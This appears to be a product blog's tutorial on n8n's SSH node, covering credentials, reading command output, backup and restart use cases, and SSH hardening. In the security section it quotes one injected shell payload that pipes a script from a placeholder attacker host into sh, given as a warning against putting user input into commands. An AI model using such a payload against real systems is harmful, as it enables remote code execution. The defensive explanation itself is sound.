n8n's SSH node: driving a remote server from your workflows
Published 25 August 2026 · 7 min read
Some jobs simply have no API: restarting a service after a deploy, triggering a backup script on a VPS, checking free disk space before it becomes a problem. n8n's SSH node fills that gap: it opens a session to a remote machine, runs a command there, and hands you back stdout, stderr and the return code. It can also push and pull a file. This guide covers the node's exact configuration, password versus key credentials, four concrete use cases, and a security section it would be unwise to skim.
What the SSH node does
The n8n-nodes-base.ssh node exposes three operations, split across a Command resource and a File resource:
- Execute Command — runs a shell command on the remote server. Parameters:
Credential to connect with,Command,Working Directory(the working directory,/by default). - Download File — fetches a remote file. Parameters:
Path(which must include the file name),File Property(the binary property name the content lands in), plus aFile Nameoption to rename it on the way. - Upload File — sends a file to the server. Parameters:
Input Binary Field,Target Directory, and the sameFile Nameoption.
One detail people routinely miss on upload: the node has no "content" field. It expects binary data already attached to the item. You have to produce it upstream, with a Read/Write Files from Disk node, an HTTP Request node in file mode, or a Convert to File node if you're starting from JSON.
Three nodes that get confused: SSH, Execute Command, SFTP
The difference fits in one sentence: where the command runs.
The Execute Command node runs the command on the machine or container hosting n8n. Handy for a locally installed tool, but it requires a self-hosted instance, an enriched Docker image, and it exposes your instance. The SSH node steps outside n8n's perimeter: it talks to another machine, over the network. Direct and often-overlooked consequence: the SSH node also works on n8n Cloud, since nothing runs locally.
Against the SFTP node, the dividing line is functional. SFTP is a complete file client (list, delete, rename, transfer) that also rides on SSH. The SSH node only does Download and Upload, but it can run a command — something SFTP will never do. In practice, you reach for SSH when the file is a by-product of a command: generate a dump, then pull it back.
Setting up the credential: password or private key
n8n offers two authentication methods, with distinct fields.
Password asks for Host, Port (22 by default), Username and Password. It's the fastest path, and the only one you should reserve for a throwaway lab.
Private Key asks for Host, Port, Username, Private Key — the entire contents of the key file, including the -----BEGIN OPENSSH PRIVATE KEY----- and -----END ...----- lines — and an optional Passphrase.
Generate a dedicated pair, never your personal key:
ssh-keygen -t ed25519 -f ~/.ssh/n8n_backup -C "n8n-backup" -N ""
ssh-copy-id -i ~/.ssh/n8n_backup.pub deploy@your-server
The contents of ~/.ssh/n8n_backup (the private key) go into the n8n credential; the public key stays on the server. Worth remembering: n8n credentials are encrypted at rest with the instance key — which is precisely why backing up that encryption key determines whether you can ever restore, and why the usual credential management practices matter even more here. An SSH credential is shell access.
Reading the result: stdout, stderr and the return code
The Execute Command operation returns an item containing standard output, error output and the remote process's return code:
{
"stdout": "/dev/vda1 80G 41G 36G 54% /",
"stderr": "",
"code": 0
}
Three habits:
- Check the return code, not
stderr. An If node behind the SSH node, error branch when the code differs from 0. Plenty of tools (rsync,pg_dump,apt) write perfectly normal messages tostderr; relying on it produces false positives by the dozen. stdoutis raw text. Have your remote script emit JSON (df -h --output=pcent / | tail -1, or better a script thatechoes a JSON object) then parse it in a Code node:JSON.parse($json.stdout).- Chain with
&&.cd /srv/app && ./backup.shstops if thecdfails; with;, the script would run in the wrong directory.
Finally, an SSH connection can fail for reasons that have nothing to do with your command: network, rejected key, unreachable host. Wire an error workflow onto these workflows, or a server that's down overnight will go unnoticed until morning.
Four use cases that justify the node on their own
Scheduled VPS backup. A Schedule Trigger at 3 a.m., an SSH node running /usr/local/bin/backup.sh, an If node on the return code, a notification on failure. It's the highest-return workflow you can write on a self-hosted VPS.
Pulling a database dump. Two SSH nodes in series: the first runs pg_dump -Fc mydb > /tmp/dump.pgc, the second does a Download File on /tmp/dump.pgc. The resulting binary then goes to S3, Drive or cold storage — the backbone of a real PostgreSQL backup strategy.
Restarting a service after a deploy. A webhook fired by your CI, an SSH node running systemctl --user restart myapp, then a curl -sf https://myapp/health verification in a second command. If the health check fails, the workflow raises an alert.
System metrics collection. df -h, free -m, uptime across a handful of servers, aggregated in a Code node and pushed to your instance monitoring setup. It's agentless monitoring — modest, but operational in ten minutes.
Security: the part you shouldn't skip
An SSH credential stored in n8n is permanent shell access to your infrastructure. The context doesn't invite carelessness: the longitudinal study by Cristian Munteanu, Yogesh Bhargav Suriyanarayanan, Georgios Smaragdakis, Anja Feldmann and Tobias Fiebig, Attacks Come to Those Who Wait: Long-Term Observations in an SSH Honeynet (ACM Internet Measurement Conference, 2025 — see on Google Scholar), analyses three years of traffic on an SSH honeynet and documents a clear shift toward more exploratory attacker behaviour, beyond the blind execution of scripts. In other words: an exposed port 22 isn't just scanned, it's examined.
Use a non-root account. Create a dedicated deploy or n8n-agent user whose rights cover strictly what the workflow needs. If one specific command requires privileges, grant it narrowly through sudoers (deploy ALL=(root) NOPASSWD: /bin/systemctl restart myapp) rather than handing over a root shell.
Restrict the key to a single command. This is the most effective and most under-used protection. In the remote account's ~/.ssh/authorized_keys, prefix the public key with a command= directive:
command="/usr/local/bin/backup.sh",no-port-forwarding,no-agent-forwarding,no-pty ssh-ed25519 AAAAC3Nza... n8n-backup
With that line, the key can execute nothing other than /usr/local/bin/backup.sh, whatever command n8n sends. If the credential leaks, the worst case becomes: someone triggers your backup. This discipline answers head-on the problem documented by Tatu Ylönen in SSH Key Management Challenges and Requirements (NTMS, 2019 — see on Google Scholar): in large organisations, authorised keys pile up with no inventory and no lifecycle, and nobody knows any more which access opens what. Name your keys (-C "n8n-backup"), keep the list, and remove the ones belonging to retired workflows.
Never interpolate user input into the command. The Command field accepts n8n expressions, and that's where everything is decided. A value coming from a webhook, a form or an email containing ; curl http://attacker/x.sh | sh would be executed without hesitation. The foundational work of Zhendong Su and Gary Wassermann, The Essence of Command Injection Attacks in Web Applications (POPL, 2006 — see on Google Scholar), formalised the mechanism: an injection succeeds as soon as the input alters the syntactic structure of the command, not just its values. Three stackable defences: validate upstream with an allowlist in a Code node (/^[a-zA-Z0-9._-]+$/), pass the data through standard input or a file rather than as an argument, and above all lock the key down with command= — the only protection that holds even when validation fails.
Log and monitor. On the server side, /var/log/auth.log records every connection: keep it and ship it somewhere. On the n8n side, limit who can open the SSH credential through roles and permissions — on a shared instance, a user who can edit an SSH workflow is a user who can run shell on your production. Abnormal access attempts deserve the same treatment as any other security signal, and an alert triage workflow makes an excellent first filter.
Summary
The SSH node turns n8n into a conductor for your servers: Execute Command to run a command and collect stdout, stderr and the return code, Download File and Upload File for file exchanges, all of it available on Cloud as well as self-hosted since nothing runs locally. Three rules to carve in stone: authenticate with a dedicated key rather than a password, use a non-root account with a command= directive in authorized_keys, and interpolate zero external data into the Command field.
Going further
If your SSH workflows touch servers hosting customer data, the Compliance & Audit Pack (€149) provides the audit trail that tracks these sensitive operations — who ran what, when, with which result. And if you're already automating the handling of incoming requests before triggering server actions, the AI Inbox Pack (€79) slots in naturally upstream of that kind of chain.
FAQ
Frequently asked questions
Does the SSH node work on n8n Cloud?
Yes. Unlike the Execute Command node, which is self-hosted only because it runs the command on n8n's own machine, the SSH node opens a network connection to a third-party server, so it is available on n8n Cloud as well as self-hosted. The only requirement is that your server's SSH port (22 by default) is reachable from the n8n instance, which often means allowing n8n Cloud's outbound IP addresses through your firewall.
How do I authenticate the SSH node with a private key instead of a password?
Create an SSH credential using the Private Key option. It asks for Host, Port, Username, Private Key (the full contents of the private key file, including the BEGIN and END headers) and, if the key has one, a Passphrase. Generate a dedicated key pair for n8n rather than reusing your personal key, and add the matching public key to the authorized_keys file of the remote account.
How do I read a command's output and detect a failure?
The Execute Command operation returns an item containing standard output (stdout), error output (stderr) and the remote process return code. A code other than 0 signals a failure: add an If node right after it to route the error branch. Don't use the mere presence of text in stderr as your criterion, since many tools write perfectly normal progress messages there.
Should I use the SSH node or the SFTP node to transfer a file?
Both run over the SSH protocol, but the SFTP node is purpose-built for files: it can list a directory, delete, rename, and it handles bulk transfers better. The SSH node only offers Download File and Upload File, which is enough when the transfer accompanies a command in the same workflow. Simple rule: if you are only moving files, use SFTP; if you are running a command and collecting its result, stay on SSH.
Bundle FlowKit Complet
€269